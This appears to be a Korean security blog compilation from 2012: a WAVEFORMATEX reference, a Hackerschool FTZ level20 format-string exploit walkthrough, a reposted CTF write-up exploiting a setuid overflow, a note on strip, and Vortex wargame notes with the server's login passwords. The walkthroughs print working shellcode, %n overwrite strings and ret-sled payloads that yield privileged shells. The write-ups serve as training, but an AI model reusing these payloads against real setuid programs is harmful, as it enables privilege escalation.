WAVEFORMATEX 구조체

WAVEFORMATEX 구조체는, 파형 오디오 데이터의 포맷을 정의한다. 모든 파형 오디오 데이터의 포맷에 공통의 포맷 정보만이 이 구조체에 포함된다. 추가 정보가 필요한 포맷의 경우, 이 구조체는, 추가 정보와 함께 다른 구조체의 선두 멤버로서 포함된다.

이 구조체는 Platform SDK 의 일부로, Mmreg.h 로 선언되고 있지만, 편의상 이 문서에도 기재하고 있다.

구문

typedef struct { 
  WORD  wFormatTag; 
  WORD  nChannels; 
  DWORD nSamplesPerSec; 
  DWORD nAvgBytesPerSec; 
  WORD  nBlockAlign; 
  WORD  wBitsPerSample; 
  WORD  cbSize; 
} WAVEFORMATEX; 
멤버

wFormatTag

파형 오디오의 포맷 타입. 포맷 태그는, 많은 압축 알고리즘용으로 Microsoft Corporation 에 등록되어 있다. 포맷 태그의 완전한 리스트는, Mmreg.h 헤더 파일에 있다.

1 채널이나 2 채널의 PCM (Pulse Code Modulation) 데이터의 경우, 이 값은 WAVE_FORMAT_PCM 로 할 필요가 있다.

 

nChannels

파형 오디오 데이터에 포함되는 채널수. 단청(모노)의 데이터는 1 채널을 사용해, 스테레오 데이터는 2 채널을 사용한다.

 

nSamplesPerSec

샘플/초에 나타내는 샘플 레이트 (단위 Hz). wFormatTag 가 WAVE_FORMAT_PCM 의 경우,nSamplesPerSec 의 일반적인 값은 8.0 kHz, 11.025 kHz, 22.05 kHz, 44.1 kHz 가 된다. 비 PCM 포맷의 경우, 이 멤버는 제조업자의 포맷 태그 사양에 따라 산출할 필요가 있다.

 

nAvgBytesPerSec

포맷 태그에 필요한 평균 데이터 전송 레이트 (단위 바이트/초). wFormatTag 가 WAVE_FORMAT_PCM 의 경우,nAvgBytesPerSec 는 nSamplesPerSec 와 nBlockAlign 의 적과 동일해야 한다. 비 PCM 포맷의 경우, 이 멤버는 제조업자의 포맷 태그 사양에 따라 산출할 필요가 있다.

 

nBlockAlign

블록 alignment (단위 바이트). 블록 alignment란,wFormatTag 포맷 타입의 데이터의 최소 구성 단위이다. wFormatTag 가 WAVE_FORMAT_PCM 또는 WAVE_FORMAT_EXTENSIBLE 의 경우,nBlockAlign 는nChannels 와 wBitsPerSample 의 적을 8 (1 바이트 당의 비트수)으로 나눈 값과 동일해야 한다. 비 PCM 포맷의 경우, 이 멤버는 제조업자의 포맷 태그 사양에 따라 산출할 필요가 있다.

소프트웨어는, 한 번에 복수의 nBlockAlign 바이트의 데이터를 처리할 필요가 있다. 장치에 대한 데이터의 쓰기와 읽기는 항상, 블록의 선두로부터 시작 해야 한다. 예를 들어, PCM 데이터의 재생을 샘플의 도중 (즉, 비블록 아라인 경계상)부터 시작 하는 것은 부정하다.

 

wBitsPerSample

wFormatTag 포맷 타입의 1 샘플 근처의 비트수. wFormatTag 가 WAVE_FORMAT_PCM 의 경우,wBitsPerSample 는 8 또는 16 이 아니면 안된다.

wFormatTag 가 WAVE_FORMAT_EXTENSIBLE 의 경우, 이 값은, 임의의 8 의 배수를 지정할 수 있다. 일부의 압축 스킴은 wBitsPerSample 의 값을 정의할 수 없기 때문에, 이 멤버에는 0 을 지정해도 상관없다.

 

cbSize

WAVEFORMATEX 구조체의 마지막에 추가되는 추가 포맷 정보의 사이즈 (단위 바이트). 비 PCM 포맷은, 이 정보를 사용해 wFormatTag 의 추가 속성을 저장 할 수 있다. wFormatTag 에 추가 정보가 필요없는 경우는, 이 멤버는 제로로 설정해야 한다. WAVE_FORMAT_PCM 포맷 밖에 없는 경우, 이 멤버는 무시된다.

[출처] WAVEFORMATEX 구조체|작성자 네오랑

Posted by k1rha
2012. 4. 1. 16:15

동아리 교육용으로 만들다가 포스팅 해봅니다. 

Hackerschool FTZ level20

Passwd: we are just regular guys

[level20@localhost level20]$ ls -l

합계 24

-rwsr-sr-x 1 clear clear 11777 6¿ù 18 2008 attackme

-rw-r----- 1 root level20 133 5¿ù 13 2002 hint

drwxr-xr-x 2 root level20 4096 2¿ù 24 2002 public_html

drwxrwxr-x 2 root level20 4096 2¿ù 17 10:56 tmp

[level20@localhost level20]$ cat hint

 

#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

setreuid(3101,3101);

fgets(bleh,79,stdin);

printf(bleh);

}

 

[level20@localhost level20]$

 


Bleh 80바이트 만큼 잡혀있고 표준 입출력(stdin)으로 79바이트 만큼 받아내므로 지금까지 해왔던 Overflow 를 발생 시키는 부분은 없다.

이 문제에서 다른 문제와 좀 다른 부분이 있다면 printf 의 사용법은 우리가 보통 어떠한 값으로 출력해 줄지 포멧을 정하고 그에 맞는 변수를 넣어 출력 시켜 주었지만, 이번의 경우는 char 변수를 그냥 대입하므로 출력 시켜 주었다.


그럼에도 불과 하고 잘 출력이 된다.

이제부터 언급할 부분은 이러한 부분을 이용하는 Formet String Bug 라는 공격 기법이다.

이 공격 기법에 대한 언급은 별도의 부록에서 다루도록 하겠다.

디버깅을 시도해보자.

위와같이 main 함수가 사라져 있는 것을 볼수 있고 대신 그위치에 start_main의 심볼이 있다.

그것을 열어보면 다른 함수들을 호출 한다. 이러한 경우는 정상적으로 gdb 만으로 분석하기가 힘들어 진다. 때문에 올리 디버거를 이용하여 좀 이용해보도록하자.

바이너리코드를 복사하여 자신의 서버에 옴기는 부록을 참조하여 해당파일을 자신의 컴퓨터로 옴겨 IDA로 연다. 하지만 역시나 스트립된 파일이기 때문에, 우리는 hex-ray를 통한 정확한 파일 복구를 할 수가 없다.

이때 중요한 심볼부분이 start 부분이다.



위 그림에서보면 start라는 심볼을 들어가보도록 하자.

아래쪽을 보면 __libc_start_main 바로 위에 주소가 메인이다.

더블클릭을 하여 들어간뒤 rename 을 해주도록 하자그리고 hey-ray를 이용하여(F5) 코드를 복구하면 다음과 같은 코드를 얻을 수 있다.

위처럼 코드가 나온다.

포멧스트링 버그가 있는 부분도 나오고, stdin 으로 정확히 출력된 값도 나온다.

 우선 메모리 구조를 보면

[  printf  ] [ bleh ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

^(esp)

Printf로 표준 입출력이 생길 때 esp printf 의 시작지 점인 곳에 위치하게 된다.

이때 메모리 주소값을 16진수로 출력시켜 보자.

[level20@ftz level20]$ ls

attackme  hint  public_html  tmp

[level20@ftz level20]$ ./attackme

aaaa%x

aaaa4f

[level20@ftz level20]$

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x%x

aaaa4f4015246040098500

[level20@ftz level20]$ ./attackme

aaaa%x%x%x%x%x

aaaa4f40152460400985006161616178257825

[level20@ftz level20]$ ./attackme

 

여기서 aaaa 3개를 입력하고 난뒤의 4F stdin의 크기이다. 0x4f 79이므로 79개만큼 출력한다는 뜻이다. 그리고나서 뒤에 40152460 40098500 가 존재하고 뒤부터 0x61616161이 반복되는데 이것은 우리가 입력하였던 AAAA 가 존재한다. 그 뒤에 40152460 40098500 을 알아보기 위해 임의의 프로그램 하나를 제작해보자.

그냥 단순히 printf를 출력하는 구문이면 충분하다.

[level20@ftz tmp]$ make test

cc     test.c   -o test

./t[level20@ftz tmp]$

[level20@ftz tmp]$

[level20@ftz tmp]$ ./test

a[level20@ftz tmp]$

[level20@ftz tmp]$ gdb test

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp

0x08048329 <main+1>:    mov    %esp,%ebp

0x0804832b <main+3>:    sub    $0x8,%esp

0x0804832e <main+6>:    and    $0xfffffff0,%esp

0x08048331 <main+9>:    mov    $0x0,%eax

0x08048336 <main+14>:   sub    %eax,%esp

0x08048338 <main+16>:   sub    $0xc,%esp

0x0804833b <main+19>:   push   $0x80483f8

0x08048340 <main+24>:   call   0x8048268 <printf>

0x08048345 <main+29>:   add    $0x10,%esp

0x08048348 <main+32>:   leave

0x08048349 <main+33>:   ret

0x0804834a <main+34>:   nop

0x0804834b <main+35>:   nop

End of assembler dump.

(gdb) b main+33

Junk at end of arguments.

(gdb) b *main+33

Breakpoint 1 at 0x8048349

(gdb) r

Starting program: /home/level20/tmp/test

 

Breakpoint 1, 0x08048349 in main ()

(gdb) x/x 40152460

0x264ad8c:      Cannot access memory at address 0x264ad8c

(gdb) x/x 0x40152460

0x40152460 <_IO_2_1_stdin_>:    0xfbad2088

(gdb) x/x 0x40098500

0x40098500 <strrchr>:   0xc0315657

(gdb)

아래부분을 보면 0x40152460 stdin 을 나타내는 주소이고 0x40098500 strrchr에 관련된 함수이다. 이제 어떤것을 의미하는지 알았으니 메모리 구조를 다시 보도록하자.

Aaaa 를 하고 %x 를 출력시키면 메모리 구조는 아래와 같다

 

[  printf  ][ stdin ][ strrchr ][ bleh  ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

                             AAAA%x(이부분에서 printf 부분 다음 부분의 주소값부터 출력)

위 처럼 표현 될 수 있다.

 

 

PART 2  Format String Attack theory.

부록으로 뺄지 말지 고민중

시스템해킹의 특징은 자신이 원하는 메모리 주소에 자신이 원하는 값을 넣어서 원하는 위치에 도달하게 하는 공격이라는 것이다.

포멧스트링 역시 원하는 메모리 위치에 원하는 값을 넣는 것이 목적이 된다.

우선 기본적으로 사람 들이 알고 있는 서식 %d %lf %s %c 같은 부분은 생략하고 남들이 잘 활용하지 않는 %n 에 대해서 설명해 보겠다.  %n %n이 나오기 전에 출력된 자리수를 계산하여 스택의 다음 4바이트에 있는 내용을  주소로 여기고 그 주소에 계산한 자리수, ,숫자를 입력한다.

만약 AAAA%n을 넣었다고 하면 0x41414141 4라는 숫자를 넣게 된다.

[printf ] [ buff ] [sfp][ret]

        Aaaa%n(printf를 호출하면서 buffer의 시작 주소의 값을 가리킨다.)

 

자 이제 우리가 자주사용하던 %c 를 이용하여 숫자도 조절해보자, %c 란 값은 CPU에 상관없이 1byte의 문자이다. 그리고 %100c 하면 100개의 문자열이므로 100이된다. 포멧스트링공격의 관점에서보면 %100c%n 을하면 100이라는 숫자를 넣는다는 이론이 된다.

우리는 이제 원하는 메모리주소 0x41414141(AAAA)에 원하는 값 %100c 를 넣을 수 있게 된다는 이론이 된다.

 

공격함에 앞서 포멧스트링에서 신경써야할 문제점 3가지에 대해서 언급 해보 도록 하겠다.

첫번째 문제는 이 %c로 크기를 조절해 준다고 하여도 %c라는서식문자가 포함되어 있기 때문에 출력 시킬 메모리주소 4byte도 포함되어야 한다.

두번째 문제는 쉘코드 주소를 입력 할때도 10진수로 바꿔서 입력하여아 한다. 하지만 정수를 이용해서 0xffffffff 같은 큰 숫자를 지정해 줄수 없다. 때문에 쉘코드 주소를 2바이트씩 나누어서 입력하는 방법을 택해야 한다.

예를들면 쉘코드 주소가 0xbffffab8 이라면 bfff(64184) fab8(49151)로 나누어서 각자 10진수로 바꿔 입력해야한다.

만약 ret주소가 0x08049594 라면 0x08049594 2byte(fab8)을 입력하고 이제 2바이트 증가한 0x08049596 에 나머지 2byte(bfff)을 입력하는 방식으로 하는 것이다.

 

마지막 세번째 문제는 메모리를 출력시키는 부분까지 서식문자를 %x를 통하여 bleh까지 주소 값을 옮겨야 한다는 것이다.

 

이제 공격을 시도해보겠다.

첫번째는 디버깅이 안되는 (strip)된 상태에서 return address 를 찾아주는 일이다.

우리는 .dtors 라는 것에 대해 공부할 필요가 있다프로그램이 시작할때는 .ctors 라는 것을 거치고 프로그램이 종료될 시에는 .dtors 라는 것을 거친다. 이는 프롤로그와 에필로그를 담당 하는 부분이다.

Objdump를 이용하여 .dtors 부분을 ret 주소처럼 사용 해보자.

[level20@localhost level20]$ objdump -h attackme | grep .dtors

18 .dtors 00000008 08049594 08049594 00000594 2**2

[level20@localhost level20]$

 

 0x08049594 이 .dtors 를 호출하는 부분이므로 4바이트 뒷부분에 덮어  씌워서 시작하자마자 실행될 수 있도록 하면 된다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n

원래 쉘코드의 주소값을 10진수로 바꾸면 64184와 49151이다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것이다.

50503은 역시 원래 49151(bfff)인데. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 되고 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 한다.

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 된다.

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


 

[level20@localhost level20]$ export a=`perl -e 'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

[level20@localhost level20]$ cd tmp

[level20@localhost tmp]$ cat > getshell.c

#include<stdio.h>

 

int main(int argc,char **argv){

 

printf("%x\n",getenv(argv[1]));

 

return 0;

}

 

[level20@localhost tmp]$ gcc -o getshell getshell.c

[level20@localhost tmp]$ ./getshell a

bffffe31

[level20@localhost tmp]$

 

 

[level20@localhost level20]$ (perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65045c%n%49602c%n"';cat) | ./attackme

 

id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.

 

clear Password is "i will come in a minute".

웹에서 등록하세요.

 

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찾사를 보냅니다.

해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다


그림을 잘 보면 위에 수많은 놉코드로 인하여 공백이 생긴뒤 명령어가 실행되고 있다는 것을 볼 수 있다.

 

 




Posted by k1rha
2012. 4. 1. 05:19

WG 혁이가 쓴 문제풀이법.. 

[출처] http://hkkiw0823.pe.kr/xe/index.php?mid=Security&document_srl=854



http://www.hackerschool.org/Sub_Html/HS_University/CTF/Codegate/2011/vuln300/vuln300.html


몽이형의 코드게이트 문제 풀이 강좌 



================================출처 포너.tistory ======================================



hust K번 풀이

대회 서버에 접속하면 ping2 파일이 있다.
ping2 파일이 하는일을 보기위해 소스를 보았다.

 

dr-xr-xr-x. 2 whatthe whatthe 4096 2011-10-03 09:41 .
drwxr-xr-x. 5 root    root    4096 2011-10-01 08:40 ..
lrwxrwxrwx. 1 root    root       9 2011-10-03 09:41 .bash_history -> /dev/null
-rw-r--r--. 1 whatthe whatthe   18 2010-06-23 00:15 .bash_logout
-rw-r--r--. 1 whatthe whatthe  176 2010-06-23 00:15 .bash_profile
-rw-r--r--. 1 whatthe whatthe  124 2010-06-23 00:15 .bashrc
-r-sr-xr-x. 1 gotroot gotroot 4907 2011-10-01 08:31 ping2
-rw-r--r--. 1 root    root     268 2011-10-01 08:31 ping2.c


[whatthe@k1rha ~]$ cat ping2.c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>

extern char **environ;
int main(int argc,char* argv[]){

 
 char buff[100];


 if(argc<2){
  printf("Usage : ./[file] [argv]\n");
 }
 else{
  strcpy(buff,argv[1]);
  printf("%s\n",buff);
  system("ls"); 
 }


}

 

소스를 보면 전형적인 buffer overflow 문제이다.
대회 환경은 fedora core 14이다.

 

[whatthe@k1rha ~]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

 

[whatthe@k1rha ~]$ cat /proc/self/maps
005c4000-00747000 r-xp 00000000 fd:00 1049216    /lib/libc-2.13.so
00747000-00748000 ---p 00183000 fd:00 1049216    /lib/libc-2.13.so
00748000-0074a000 r--p 00183000 fd:00 1049216    /lib/libc-2.13.so
0074a000-0074b000 rw-p 00185000 fd:00 1049216    /lib/libc-2.13.so

[whatthe@k1rha ~]$ cat /proc/self/maps
00d79000-00efc000 r-xp 00000000 fd:00 1049216    /lib/libc-2.13.so
00efc000-00efd000 ---p 00183000 fd:00 1049216    /lib/libc-2.13.so
00efd000-00eff000 r--p 00183000 fd:00 1049216    /lib/libc-2.13.so
00eff000-00f00000 rw-p 00185000 fd:00 1049216    /lib/libc-2.13.so

 

랜덤라이브러리에 아스키아머까지 걸려있다 -_-;
남아있는 희망을 위해 주소가 올 랜덤인지 확인하였다.

 

[whatthe@k1rha ~]$ gdb -q ping
Reading symbols from /bin/ping...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install iputils-20100418-3.fc14.i686
(gdb) b main
Breakpoint 1 at 0x8048427
(gdb) r
Starting program: /home/whatthe/ping2

Breakpoint 1, 0x08048427 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.13-2.i686
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1ac670 <execl>
(gdb) p execl

 

gdb로 살펴본 해본 결과 6~8번에 한번 꼴로 '0x1ac670' 주소가 반복 된다.


[whatthe@k1rha ~]$ strace ./ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`

execve("./ping2", ["./ping2", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 27 vars */]) = 0
brk(0)                                  = 0x817f000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb782f000

 .... 중략 ...

--- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=11715, si_status=0, si_utime=0, si_stime=0} (Child exited) ---
execve("1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10", [], [/* 27 vars */]) = -1 ENOENT (No such file or directory)
--- {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x2} (Segmentation fault) ---
+++ killed by SIGSEGV +++
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha ~]$


ret 슬레딩으로 인자를 고정값이 있는곳으로 옮기고 execl함수를 실행시키면
6~8번에 한번꼴로 execve 함수가 실행이 되는것을 볼 수있다.

 

"1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10"

 

이 고정값을 실행하고 권한 재설정을 위해 심볼릭싱크를 걸었다.
 
[whatthe@k1rha ~]$ cd /tmp
[whatthe@k1rha tmp]$ mkdir hkkiw0823 ; cd hkkiw0823/
[whatthe@k1rha hkkiw0823]$ cat > ex.c
#include <stdio.h>

void main(){
 setreuid(geteuid(),geteuid());
 execl("/bin/sh","sh",0);
}

[whatthe@k1rha hkkiw0823]$ gcc -o ex ex.
[whatthe@k1rha hkkiw0823]$ ln -s ex `python -c 'print "1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10"'`
[whatthe@k1rha hkkiw0823]$ export PATH=./:$PATH

[whatthe@k1rha hkkiw0823]$ ls
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex

 

6~7번 정도 실행해보면 쉘이 따인다.

 

[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
sh-4.1$ 
sh-4.1$ 
sh-4.1$ id
uid=503(gotroot) gid=502(whatthe) groups=503(gotroot),502(whatthe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ /bin/bash
[gotroot@k1rha hkkiw0823]$ cd /home
[gotroot@k1rha home]$ ls
gotroot  point  whatthe
[gotroot@k1rha home]$ cd gotroot/
[gotroot@k1rha gotroot]$ ls
keyvalueresult
[gotroot@k1rha gotroot]$ cat keyvalueresult

wantedGirlfriend


키 : wantedGirlfriend


Posted by k1rha
2012. 4. 1. 00:52

파일이 스트립되어 있는 경우는 디버깅시 심볼밖에 출력 되지를 않는다.

그리고 바이너리로 옮겨서 아이다로 분석하여도 파일자체가 스트립된 것이기 때문에, 보여지지 않는다..

이방법에 대해서는 몽형의 동영상 강좌를 통해 좀더 학습해야겠다. 



우선 아래 스트립이란 무엇인가에 대해서 퍼왔다.  just in case 를 위해 복사했지만 가능하면 아래 주소로 가서 방문자 카운트나 올려주는겸해서 참가 하도록 하자. 


============================================출처 :http://mwmw7.tistory.com/231==============================

strip 이용하기

strip은 오브젝트 파일에 있는 심볼을 삭제하는 툴이다.

일반적으로 빌드 완료한 실행파일 또는 라이브러리에서 불필요한 심볼을 제거하는데 사용한다.


사용법

SYNOPSIS

      strip [-F bfdname |--target=bfdname]

    [-I bfdname |--input-target=bfdname]

    [-O bfdname |--output-target=bfdname]

    [-s|--strip-all]

    [-S|-g|-d|--strip-debug]

    [-K symbolname |--keep-symbol=symbolname]

    [-N symbolname |--strip-symbol=symbolname]

    [-w|--wildcard]

    [-x|--discard-all] [-X |--discard-locals]

    [-R sectionname |--remove-section=sectionname]

    [-o file] [-p|--preserve-dates]

    [--keep-file-symbols]

    [--only-keep-debug]

    [-v |--verbose] [-V|--version]

    [--help] [--info]

    objfile...


굉장히 욥션이 많지만... 실제 사용에서는 굉장히 간단하다.

root@boggle70-desktop:tmp# file a.out 

a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 

dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped



strip을 실행하고 확인해 보자.

root@boggle70-desktop:tmp# strip a.out 

root@boggle70-desktop:tmp# ls -la a.out 

-rwxr-xr-x 1 root root 5532 2011-03-26 16:56 a.out

root@boggle70-desktop:tmp# file a.out 

a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 

dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped


파일 사이즈는 6096 -> 5532 byte 로 줄어들었고 파일의 정보에는 not stripped 라고 나오던것이

stripped 되었다고 나오게 된다.


하지만 strip 을 시키고 나면 아래와 같이 나옵니다.

root@boggle70-desktop:tmp# nm a.out 

nm: a.out: no symbols


이제 strip 을 사용할때 사용하는 옵션중에 -d 옵션을 보겠습니다.

root@boggle70-desktop:tmp# strip -d a.out

root@boggle70-desktop:tmp# ls -la a.out 

-rwxr-xr-x 1 root root 7492 2011-03-26 17:02 a.out

파일의 크기가 옵션없이 실행하는 것보다 약간 큽니다.

-d 옵션은 디버그용 정보만을 제거하는 옵션입니다.

때문에 nm 으로 출력시 동일한 실볼을 찾을 수는 있지만 파일명이나 행번호는 찾을수 없습니다.

따라서 addr2line 과 같은 것을 사용할수 없고 디버깅시에도 심볼네임만 볼수 있을뿐입니다.


-R 옵션은 지정된 섹션을 제거하는 옵션입니다.

만약 strip -R .text a.out 을 실행한다면... 그 프로그램은 실행하수 없습니다.

.text 는 code 영역이기 때문에 실행할 코드를 모두 제거하게 되기 때문입니다.


또 라이브러리 파일에 이것을 사용하면 다른 오브젝트와 링크가 불가능합니다.

링커는 심볼에 의존해서 오브젝트를 링크해주기 때문입니다.


strip 은 역시 BFD라이브러리를 이용해 제작된 툴입니다.

GNU binutils 의 소스코드는 objcopy 와 동일한 코드로 이루어져 있고

objcopy 명령에 -strip 을 사용하면 strip 과 같은 기능을 수행하게 됩니다.

====================================================================================================


Posted by k1rha
2012. 3. 31. 04:08

[vortex] level2 -> level3


IP : 178.79.134.250

PORT : 22

ID : vortex2 

PW : 23anbT\rE



Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 1 #include <stdlib.h>
 2 #include <stdio.h>
 3 #include <sys/types.h>
 4 
 5 
 6 int main(int argc, char **argv)
 7 {
 8         char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
 9         execv(args[0], args);
10 }




char  *buff[] = {"bin/tar","cf","/tmp/ownership.$$.tar",argv[1],argv[2],argv[3]};
execv( buff[0],buff);


즉 인자값으로 들어가는 값들을 /tmp/ownership.$$.tar 로 압축 해준다. 
그렇담 패스워드가 들어있는 파일을 압축을해 보자. 

/etc/vortex_pass 로 들어가서 
vortex3 패스워드를 얻어내면된다.

공격구문은 아래와 같다. 




KEY = 64ncXTvx#


'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2012. 3. 29. 16:22
IP : 178.79.134.250
PORT : 22
ID : vortex1 
PW : Gq#qu3bF3

취약한 파일을 실행하면 아래와 같이 16진수의 어떤 값들을 뿌려준다.  input을 바꾸어 가면서 여러번 입력해 보았지만 결과값은 전부 같은 것이 출력 되는것 같다. 

setuid 가 걸린 파일은 gdb로 분석이 안되므로 /tmp/ 디렉토리(쓰기가 가능한 디렉토리) 에 복사하여 setuid 를 없애고 


k1rha@ubuntu:~/zANruhPR_public_html/vortex/vortex1$

이후 파일을 다운받아 IDA 의 헥스레이를 이용하여 간단하게 복구를 해보았다. 

코드는 다음과 같다 . 



while 문을 통해 글자를 한글자씩 받는다. 

그리고 그 문자열이 -1 (EOF) 일때까지 돌리고 EOF이면 종료 된다. 

문자열이 헥사코드 10 (\n) 이면 버퍼의 주소값부터 512개를 출력 시킨다. 

그리고 문자열중 \\ (헥사코드 c5 를 문자열로 바꿈)이 나오면 포인터를 하나 감소시킨다(문자이므로 1바이트 임)


그리고 그외에는 그 포인터의 값이 256 값일때 (0xff와 & 연산한 부분의 값이 ) 0xCA 와 같을때 setuid 를 셋팅하고 /bin/bash를 실행해 준다. 때문에 ptr을 257번 빼준뒤 ca를 넣어서 256값이 ca가 되도록 해줘야 한다. 

PTR은 

Payload 를 그려보면


                      

[ ,,,   ][x (변수)][ buff[0--> 256] ][e()][sfp][ret][argc][argv][env] 이다. 

                         ^ (ptr 포인터 부분)

